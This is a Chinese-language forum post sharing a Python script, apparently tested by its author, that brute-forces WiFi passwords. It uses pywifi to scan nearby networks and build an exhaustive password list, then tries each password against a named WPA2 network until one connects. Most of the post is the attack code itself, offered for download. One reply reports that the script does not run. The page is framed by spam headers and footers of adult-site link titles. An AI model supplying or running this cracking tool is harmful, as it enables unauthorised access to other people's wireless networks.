久久久久久久999_99精品久久精品一区二区爱城_成人欧美一区二区三区在线播放_国产精品日本一区二区不卡视频_国产午夜视频_欧美精品在线观看免费
標題:
Python實現窮舉WiFi密碼
[打印本頁]
作者:
yezi100
時間:
2021-2-10 09:29
標題:
Python實現窮舉WiFi密碼
通過Python腳本實現窮舉獲取WiFi密碼
屏幕截圖 2021-02-10 092722.jpg
(242.28 KB, 下載次數: 80)
下載附件
2021-2-10 09:27 上傳
# -*- coding: utf-8 -*-
import time
import pywifi
from pywifi import const
import itertools as its
maclist = []
wificount=15
def product_passwd(length):
words = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
r = its.product(words,repeat=length)
dic = open('paswwer.txt','a')
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('密碼本生成完畢!')
product_passwd(input("請輸入要生成的密碼本密碼長度:"))
def getwifi():
wifi=pywifi.PyWiFi()
ifaces=wifi.interfaces()[0]
ifaces.scan()
time.sleep(3)
result = ifaces.scan_results()
n=0
print("%12s%20s%20s"%("【無線名稱】","【mac地址】","【信號強度】"))
print("="*60)
for data in result:
if(data.bssid not in maclist):
maclist.append(data.bssid)
if n<=wificount:
print("%14s%30s%15s"%(data.ssid,data.bssid,data.signal))
n=n+1
time.sleep(2)
print("="*60)
class PoJie():
def __init__(self, path):
self.file = open(path, "r", errors="ignore")
wifi = pywifi.PyWiFi()
self.iface = wifi.interfaces()[0]
print("獲取到的無線網卡:")
print(self.iface.name())
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def readPassWord(self):
print("開始破解:")
while True:
try:
passStr = str(self.file.readline())
print(" 正在嘗試:" + passStr)
if not passStr:
break
bool1 = self.test_connect(passStr)
if bool1:
print("恭喜你,找到密碼! 正確密碼為:" + passStr)
break
else:
print(" 密碼錯誤!\n","="*35)
time.sleep(3)
except:
continue
with open('result.txt','a+') as fw:
fw.write('WiFi名稱:%s 密碼:%s'%(wifiname,passStr))
def test_connect(self, findStr):
profile = pywifi.Profile()
profile.ssid = wifiname
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = findStr
self.iface.remove_all_network_profiles()
tmp_profile = self.iface.add_network_profile(profile)
self.iface.connect(tmp_profile)
time.sleep(3)
if self.iface.status() == const.IFACE_CONNECTED:
isOK = True
else:
isOK = False
self.iface.disconnect()
time.sleep(1)
return isOK
def __del__(self):
self.file.close()
getwifi()
wifiname = input("請輸入要破解的WiFi名稱:") # wifi名稱)
path = input('請輸入字典文件路徑:')
#r"D://Data/Python/wifi/dictionary.txt"
start = PoJie(path)
start.readPassWord()
復制代碼
代碼已測試過,可正常運行
以上程序51hei下載地址:
wifi.zip
(5.76 KB, 下載次數: 60)
2021-2-10 09:29 上傳
點擊文件名下載附件
源代碼
下載積分: 黑幣 -5
作者:
15236966302
時間:
2021-6-9 17:36
沒辦法運行
歡迎光臨 (http://www.zg4o1577.cn/bbs/)
Powered by Discuz! X3.1
主站蜘蛛池模板:
久久国产成人
|
国产一区二区三区四区
|
欧美专区在线观看
|
国内精品视频在线
|
97精品久久
|
97精品超碰一区二区三区
|
日韩中文一区二区三区
|
精品久久久久久亚洲精品
|
欧美在线观看网站
|
精品国产乱码久久久久久蜜柚
|
成人一区二区三区
|
亚洲一区二区三区在线
|
国产激情第一页
|
久久久久国产一区二区三区四区
|
日日淫
|
国产草草视频
|
一区二区三区视频在线免费观看
|
日韩综合在线
|
国产欧美一区二区三区国产幕精品
|
亚洲视频国产
|
国产精品日韩一区
|
黄色91在线
|
日韩毛片在线视频
|
九九热这里
|
狠狠天天
|
欧美成人h版在线观看
|
欧美理论片在线观看
|
精品久久电影
|
精品国产91
|
欧美videosex性极品hd
|
久久欧美精品
|
亚洲精品综合
|
亚洲精品片
|
91精品国产91久久久久青草
|
亚洲精品一区中文字幕
|
爱高潮www亚洲精品 中文字幕免费视频
|
一区影视
|
91麻豆精品国产91久久久更新资源速度超快
|
1000部精品久久久久久久久
|
天堂色
|
久久高清免费视频
|